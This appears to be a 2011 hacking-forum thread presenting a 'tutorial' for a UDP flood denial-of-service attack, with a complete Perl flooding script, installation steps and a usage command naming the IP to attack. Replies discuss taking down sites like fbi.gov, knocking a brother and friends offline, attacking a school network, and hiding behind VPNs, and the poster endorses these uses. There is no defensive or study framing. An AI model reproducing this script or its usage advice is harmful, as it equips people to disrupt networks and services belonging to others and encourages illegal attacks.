

Forum:[Hack Forums](#)

Thread: [\[TuT\] UDP Flood Attack \[Linux\]](#)

Anonymous.7654 - July 8, 2011, 10:07 am

UDP Flood Perl Script (Linux)

Author | Anonymous.7654

Start

1. Terminal > type "sudo apt-get install perl"
2. Copy script, paste it into Text Editor, and save it with a .pl file extension (for example, udp.pl)
3. Copy file, paste it into Home Folder
4. Terminal > type "sudo chmod +x ./udp.pl"

Script Code

```
#!/usr/bin/perl
```

```
#####  
# udp flood.  
#####
```

```
use Socket;  
use strict;
```

```
if ($#ARGV != 3) {  
    print "flood.pl <ip> <port> <size> <time>\n\n";  
    print " port=0: use random ports\n";  
    print " size=0: use random size between 64 and 1024\n";  
    print " time=0: continuous flood\n";  
    exit(1);  
}
```

```
my ($ip,$port,$size,$time) = @ARGV;
```

```
my ($iaddr,$endtime,$psize,$pport);
```

```
$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";  
$endtime = time() + ($time ? $time : 1000000);
```

```
socket(flood, PF_INET, SOCK_DGRAM, 17);
```

```
print "Flooding $ip " . ($port ? $port : "random") . " port with " .  
    ($size ? "$size-byte" : "random size") . " packets" .  
    ($time ? " for $time seconds" : "") . "\n";  
print "Break with Ctrl-C\n" unless $time;
```

```
for (;time() <= $endtime;) {  
    $psize = $size ? $size : int(rand(1024-64)+64) ;
```

```
$pport = $port ? $port : int(rand(65500))+1;
```

```
send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
```

How to use script?

Terminal > type `"/udp.pl 127.0.0.1 80 65500 120"`

127.0.0.1 = IP you want to attack , 80 = Port , 65500 = Packet Size , 120 = Attack Time

If you want good effect, you need have good Internet Upload Speed, Good luck

Anonymous.7654

Amzo - July 8, 2011, 10:27 am

Is this what lulz sec used? Can I take down websites like fbi.gov and hackforums with it like they did?

KevinsL - July 8, 2011, 10:37 am

i thought the max packet size was 1024

Inventor1 - July 8, 2011, 10:39 am

(Jul 8, 2011 10:27 AM)Amzo Wrote: [\[CITE\]](#) Is this what lulz sec used? Can I take down websites like fbi.gov and hackforums with it like they did?

I believe that you will need about 2-5 computers to get this to wipe out larger servers.

Thanks for it!

Inventor1

Amzo - July 8, 2011, 10:41 am

(Jul 8, 2011 10:37 AM)KevinsL Wrote: [\[CITE\]](#) i thought the max packet size was 1024

Probably wouldn't matter. Most services restrict the udp packet size to around 570 bytes. but that is the ipv4 + udp around 40 or so bytes, the rest will probably be a payload to beef up the udp packet. Like so:

PHP Code

```
<?php
0xffff - (sizeof(IP Header) + sizeof(UDP Header)) = 65535-(20+8) = 65507
```

But, depending on the machine, port, service etc, it's possible it will get dropped.

Anonymous.7654 - July 8, 2011, 11:28 am

Thanks guys for the replies.

Gent - July 8, 2011, 1:15 pm

I try "1.Terminal > type "sudo apt-get install perl"" but it says apt-get not found.

Anonymous.7654 - July 8, 2011, 1:57 pm

(Jul 8, 2011 01:15 PM)Joomla12 Wrote: [\[CITE\]](#) I try "1.Terminal > type "sudo apt-get install perl"" but

it says apt-get not found.

Go to terminal and write "sudo apt-get install perl"

Dont use ""

Gent - July 8, 2011, 2:02 pm

I did that. Still says apt-get not found. :S

```
joom@linux~% sudo apt-get install perl
joom@linux~% zsh can not find operation apt-get
```

KaptaiN - July 8, 2011, 2:12 pm

Nice, this can also be uploaded to a a large server to be able to take down other websites.

Anonymous.7654 - July 8, 2011, 2:29 pm

(Jul 8, 2011 02:12 PM)KaptaiN Wrote: [\[CITE\]](#) Nice, this can also be uploaded to a a large server to be able to take down other websites.

Yes this script very strong,but need good internet speed,my speed very good so i can disconnect my all friends internets. (Jul 8, 2011 02:02 PM)Joomla12 Wrote: [\[CITE\]](#) I did that. Still says apt-get not found. :S

```
joom@linux~% sudo apt-get install perl
joom@linux~% zsh can not find operation apt-get
What Distribution you use? I use Ubuntu so i use apt-get install,maybe other Linux need use other
command,i dont know.But Ubuntu and Mint this script works.
```

Draucia - July 8, 2011, 3:05 pm

(Jul 8, 2011 02:29 PM)Anonymous.7654 Wrote: [\[CITE\]](#) Yes this script very strong,but need good internet speed,my speed very good so i can disconnect my all friends internets.

What Distribution you use? I use Ubuntu so i use apt-get install,maybe other Linux need use other command,i dont know.But Ubuntu and Mint this script works.

He's having some problems with apt-get (dunno what it could be tbh). Tested on my home connection... and I heard my broher say "connection lost!" (rune scape). Works, haha.

Will this comply with http_proxy environment variable? So when I do: "export http_proxy <http://127.0.0.1/>", will it use the proxy (I'm not sure if you have to program it to use the http_proxy variable, or everything in the terminal uses the variable).

Anonymous.7654 - July 8, 2011, 3:52 pm

(Jul 8, 2011 03:05 PM)Draucia Wrote: [\[CITE\]](#) He's having some problems with apt-get (dunno what it could be tbh). Tested on my home connection... and I heard my broher say "connection lost!" (rune scape). Works, haha.

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Haha nice,what distribution you use?

Gent - July 8, 2011, 3:55 pm

Can I hack my school's network with this?

Anonymous.7654 - July 8, 2011, 4:04 pm

Yes you can DoS School Computers,if you have good interned speed,if you dont have you can use

VPS.

Gent - July 8, 2011, 4:06 pm

How do I install a VPS???

KaptaiN - July 8, 2011, 4:07 pm

Just wondering, what'd be a good packet size to use?

Amzo - July 8, 2011, 4:07 pm

(Jul 8, 2011 04:06 PM)Joomla12 Wrote: [\[CITE\]](#) How do I install a VPS???

sudo apt-get install vps i think

Gent - July 8, 2011, 4:09 pm

But I can't use apt-get. I already tried so many times. Can somebody help???

KaptaiN - July 8, 2011, 4:09 pm

(Jul 8, 2011 04:07 PM)Amzo Wrote: [\[CITE\]](#) sudo apt-get install vps i thinkThat post just really made me laugh ?

Draucia - July 8, 2011, 4:19 pm

(Jul 8, 2011 03:52 PM)Anonymous.7654 Wrote: [\[CITE\]](#) Haha nice,what distribution you use?
Arch Linux.

(Jul 8, 2011 04:07 PM)Amzo Wrote: [\[CITE\]](#) sudo apt-get install vps i think

Wow thanks, that's actually in my repo. It's a full vps suite.

Inventor1 - July 9, 2011, 10:30 am

(Jul 8, 2011 04:09 PM)Joomla12 Wrote: [\[CITE\]](#) But I can't use apt-get. I already tried so many times.
Can somebody help???

What distro are you using?

Some have "yumy" sounding install scripts

Inventor1

Testing321 - July 9, 2011, 10:18 pm

If I'm using a Virtual Machine and a VPN that is offshore and doesn't store log and I UDP Flood a person's IP will I get into trouble ?

nix-root - July 9, 2011, 11:13 pm

You just hijack the op's thread. Anyways there is always a possibility that you can be tracked.

Anonymous.7654 - July 12, 2011, 9:25 am

Thanks guys for the replies!

Jayro - July 12, 2011, 2:44 pm

This is not a linux tutorial. This is a PERL TUTORIAL.

Also the fact that you don't know what a package manager is makes me sick.

Anonymous.7654 - July 12, 2011, 3:01 pm

(Jul 12, 2011 02:44 PM)Jayro Wrote: [\[CITE\]](#) This is not a linux tutorial. This is a PERL TUTORIAL.

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Im new to a Linux System,so i dont know many about Linux.

Jayro - July 12, 2011, 4:14 pm

(Jul 12, 2011 03:01 PM)Anonymous.7654 Wrote: [\[CITE\]](#) Im new to a Linux System,so i dont know many about Linux.

You obviously do not know much about english either.

Anonymous.7654 - July 12, 2011, 5:05 pm

(Jul 12, 2011 04:14 PM)Jayro Wrote: [\[CITE\]](#) You obviously do not know much about english either.
Not all peoples know English Language

Fuh-Kyu - July 12, 2011, 5:36 pm

Leached! <http://blog.ioshints.info/2008/03/udp-flood-in-perl.html>

Just paste the script into a Google search field...

?

Anonymous.7654 - July 13, 2011, 4:04 am

(Jul 12, 2011 05:36 PM)Fuh-Kyu Wrote: [\[CITE\]](#) Leached!
<http://blog.ioshints.info/2008/03/udp-flood-in-perl.html>

Just paste the script into a Google search field...

?

Ofcourse Copy paste,i dont say this script ME,i say Linux Flood Tutorial.I find this script in Internet.

Fuh-Kyu - July 13, 2011, 3:21 pm

(Jul 8, 2011 10:07 AM)Anonymous.7654 Wrote: [\[CITE\]](#) UDP Flood Perl Script (Linux)
Author | Anonymous.7654
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my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 100);

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Anonymous.7654

Then you cannot actually claim credit for authoring the script, or is plagiarism defined differently where you live?

Anonymous.7654 - July 14, 2011, 3:04 am

(Jul 13, 2011 03:21 PM)Fuh-Kyu Wrote: [\[CITE\]](#)

Then you cannot actually claim credit for authoring the script, or is plagiarism defined differently where you live?

Author me because im write Tutorial,but Script not ME.

Credits - <http://www.linuxscrew.com/2008/04/10/tiny-perl-script-for-udp-flooding/>